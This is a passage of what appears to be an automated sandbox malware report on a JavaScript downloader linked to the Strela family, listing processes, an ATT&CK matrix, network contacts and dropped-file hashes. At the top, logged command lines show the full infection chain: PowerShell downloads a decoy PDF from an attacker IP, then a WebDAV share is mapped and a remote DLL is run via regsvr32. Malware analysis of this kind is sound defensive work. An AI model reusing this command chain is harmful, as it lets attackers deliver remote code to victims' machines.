Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
31202109622954930860.js	5%	Virustotal		Browse
31202109622954930860.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/bvG	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/spaceB	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2995498599.00000249B2200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/bvG	net.exe, 00000006.00000002.1769706483.000002101FFD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766409222.000002101FFD9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/spaceB	net.exe, 00000006.00000002.1769258398.000002101FFA8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1767171680.00000249B24D2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1769706483.000002101FFD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1769952555.000002101FFFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1765787387.000002101FFF9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1769258398.000002101FFA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766409222.000002101FFD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1767171680.00000249B24D2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587760
Start date and time:	2025-01-10 17:45:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	31202109622954930860.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.107, 2.16.168.105, 172.64.41.3, 162.159.61.3, 50.16.47.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 184.28.90.27, 23.209.209.135, 199.232.210.172, 4.175.87.197, 104.78.188.188, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:46:42	API Interceptor	23x Sleep call for process: powershell.exe modified
11:46:47	API Interceptor	1x Sleep call for process: net.exe modified
11:46:47	API Interceptor	2x Sleep call for process: svchost.exe modified
11:46:55	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	VsTfsPVrfA.exe	Get hash	malicious	FormBook	Browse	199.232.214.172
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	launcher.exe.bin.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	124651728043662978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	199708044356824138.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073607565185943
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr8:KooCEYhgYEL0In
MD5:	E62FE10A424BFE7DF36EDA300FA5C382
SHA1:	1C65A25DD2B05C398545A2DACC59B90327704181
SHA-256:	071100B1553BAE02B1B871133BBA10D11EB486299D90EFE573B7CD98052C9B5F
SHA-512:	76AFE99EDB50644E2EE3B443D9273C7F8B146EFBCCDC04DC1DDB46C53E768DDCC844E8F08790562201EADA6092622168B6FFA4650A84BB04E4BED7E207BD73A1
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xeece7a1d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42205904846785053
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	D3A210F65FE961055DFED2B0887A14C9
SHA1:	2DCC193FF1E01A98436B16084D2618900F0BBE11
SHA-256:	CAE7B85059A2A371D5EEDCDF841C184CCCBAE893F0AA65503338BF0ED9F168F9
SHA-512:	39E1BA7C8490456FC44D53D2647C874851D25F5FDBEEE20E16AA85875ACC0612F7F9054042F39F2547F93A2613C65C0D6C4CD2FD3ECA160D2B2875CA5C7139EB
Malicious:	false
Preview:	..z.... .......A.......X\...;...{......................0.!..........{A.0....}u.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................qa.0....}o.................lV..0....}u..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07526797190329516
Encrypted:	false
SSDEEP:	3:PiyYeiBJw+xjn13a//j6lqllcVO/lnlZMxZNQl:Piyzo353qyeOewk
MD5:	BD3CEF8A0174AF21438057171BA3D7F2
SHA1:	093F079FD72E6CBB9EAFB0EACE7C826A51141D9E
SHA-256:	671DC255FD4450C9FBE5248596E38E8B9D4A88EA025BD1D1EA3C9C0F1FFE7711
SHA-512:	E716B7486AE097DF10B7EB07783FBFF0F98090BFD66911CCA2A935912BE252C40C6F8FB6781CF8943516ECE85254FA4EE1B0D5A9C9BB0EF708990B43C3D45783
Malicious:	false
Preview:	_........................................;...{..0....}u......{A..............{A......{A..........{A]................lV..0....}u.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.231543629886228
Encrypted:	false
SSDEEP:	6:iO4wRAVq2Pwkn2nKuAl9OmbnIFUtSwRF0gZmwswRt3IkwOwkn2nKuAl9OmbjLJ:7BRAVvYfHAahFUt7Rmg/FRtI5JfHAaSJ
MD5:	B1FBF6AD998FFB12AD7AB402D1B5DA8F
SHA1:	C1F6E5368F3D1CAFA9D235AEA2C64589D2FEE66C
SHA-256:	670B4A681FC3EB55A798E4FD2D60A3F0B7842399B40687BDE9147D1FB477EAE3
SHA-512:	A53FC1884BA7D4C609A045788E3816B41BB46BA642AE0FEA889990A01B95AAF43E4A9F0A0B6F04A11B12B54629B1E777C7C95B2611C424C9B512FE142FF4ECE1
Malicious:	false
Preview:	2025/01/10-11:46:47.273 1fd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:46:47.275 1fd4 Recovering log #3.2025/01/10-11:46:47.276 1fd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.231543629886228
Encrypted:	false
SSDEEP:	6:iO4wRAVq2Pwkn2nKuAl9OmbnIFUtSwRF0gZmwswRt3IkwOwkn2nKuAl9OmbjLJ:7BRAVvYfHAahFUt7Rmg/FRtI5JfHAaSJ
MD5:	B1FBF6AD998FFB12AD7AB402D1B5DA8F
SHA1:	C1F6E5368F3D1CAFA9D235AEA2C64589D2FEE66C
SHA-256:	670B4A681FC3EB55A798E4FD2D60A3F0B7842399B40687BDE9147D1FB477EAE3
SHA-512:	A53FC1884BA7D4C609A045788E3816B41BB46BA642AE0FEA889990A01B95AAF43E4A9F0A0B6F04A11B12B54629B1E777C7C95B2611C424C9B512FE142FF4ECE1
Malicious:	false
Preview:	2025/01/10-11:46:47.273 1fd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:46:47.275 1fd4 Recovering log #3.2025/01/10-11:46:47.276 1fd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.185734715159523
Encrypted:	false
SSDEEP:	6:iO4wRl+SL1yq2Pwkn2nKuAl9Ombzo2jMGIFUtSwRHj1ZmwswRa1RkwOwkn2nKuAv:7BRlp1yvYfHAa8uFUt7Rp/FRa1R5JfHA
MD5:	D81A49C28930DE1A82E5967719594C2D
SHA1:	EBE271AE872D8636A4798FBE2ABE3BE18AA1EB98
SHA-256:	C355036F08C9BFF34D9940117CCB1EF02F06942998BFCBB249FE2987FBE60BD4
SHA-512:	AC5E0CB2ED0AF94AFCBD9D324F38AFCD86709B7B4C8248254521FAB4CF46AFC953BD00BF4F532462AC73C64BA11516C0DF8DA78D691AFEB0A443C82C68D782CE
Malicious:	false
Preview:	2025/01/10-11:46:47.427 a74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:46:47.430 a74 Recovering log #3.2025/01/10-11:46:47.435 a74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.185734715159523
Encrypted:	false
SSDEEP:	6:iO4wRl+SL1yq2Pwkn2nKuAl9Ombzo2jMGIFUtSwRHj1ZmwswRa1RkwOwkn2nKuAv:7BRlp1yvYfHAa8uFUt7Rp/FRa1R5JfHA
MD5:	D81A49C28930DE1A82E5967719594C2D
SHA1:	EBE271AE872D8636A4798FBE2ABE3BE18AA1EB98
SHA-256:	C355036F08C9BFF34D9940117CCB1EF02F06942998BFCBB249FE2987FBE60BD4
SHA-512:	AC5E0CB2ED0AF94AFCBD9D324F38AFCD86709B7B4C8248254521FAB4CF46AFC953BD00BF4F532462AC73C64BA11516C0DF8DA78D691AFEB0A443C82C68D782CE
Malicious:	false
Preview:	2025/01/10-11:46:47.427 a74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:46:47.430 a74 Recovering log #3.2025/01/10-11:46:47.435 a74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1e6176b8-bdc7-47ee-a72b-5037c97f4160.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963105238980915
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq/sBdOg2Hncaq3QYiubInP7E4T3y:Y2sRdsJdMHG3QYhbG7nby
MD5:	5BBA6E7A79975729760A296588F98420
SHA1:	AF8E05B0800679A9F963BC5E7AF09C1A0F83FD8F
SHA-256:	47E4E7AD379FA3EF871961393141D56023650DA7249B9C2960214B7F0EB00AB1
SHA-512:	2DE365049DA5EFD015CDD5FE79036998935D43F6AD430741AB159368909B9BFEBC1F63E0C2FF607434C16EE7B55A6C291C92E4A90D6D0A3758D4D999F8EE3EE3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381087618966048","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141696},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4f200a.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\abd74cda-f98b-4097-a132-79bc647c1a52.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.260780808337805
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7SfMJ:etJCV4FiN/jTN/2r8Mta02fEhgO73goX
MD5:	31F09B84F1BB899777E55125DEA3DBC8
SHA1:	16B3AA2E6CC6B1AA15A5E46D5C975B9854E651AC
SHA-256:	2A26BABBE7E6937ACA6FC6175AB07F03C37AC9BDC7678ED35F20C87E91550BA6
SHA-512:	9F2AA48D3F843291AB80A280040AE8AE7BF94BCDC85CE3608194576EAD9B24B69B819F0703213E9F432143C275C542580E2A0101A4B2E176A7BFE5465EE668B1
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.199147594219249
Encrypted:	false
SSDEEP:	6:iO4wRqN1yq2Pwkn2nKuAl9OmbzNMxIFUtSwRy1ZmwswRQ1RkwOwkn2nKuAl9Ombg:7BRI1yvYfHAa8jFUt7RE/FR6R5JfHAab
MD5:	71C097512D1E000B053DDF5616356754
SHA1:	C305C3EBE5CBB64C588FB6630582F351D727E4DA
SHA-256:	7911233571A984DEF581B5D8548448BD85D8A05DC4861CB42639A60D1649FD63
SHA-512:	66EEC45DB10581305E94B82F11E3727A89055C03725C54753A1EBCF31B64190442ACB3928505764CB10627C462A250E062C0333C42E61E4E6D56CDB629EEE27C
Malicious:	false
Preview:	2025/01/10-11:46:47.547 a74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:46:47.549 a74 Recovering log #3.2025/01/10-11:46:47.550 a74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.199147594219249
Encrypted:	false
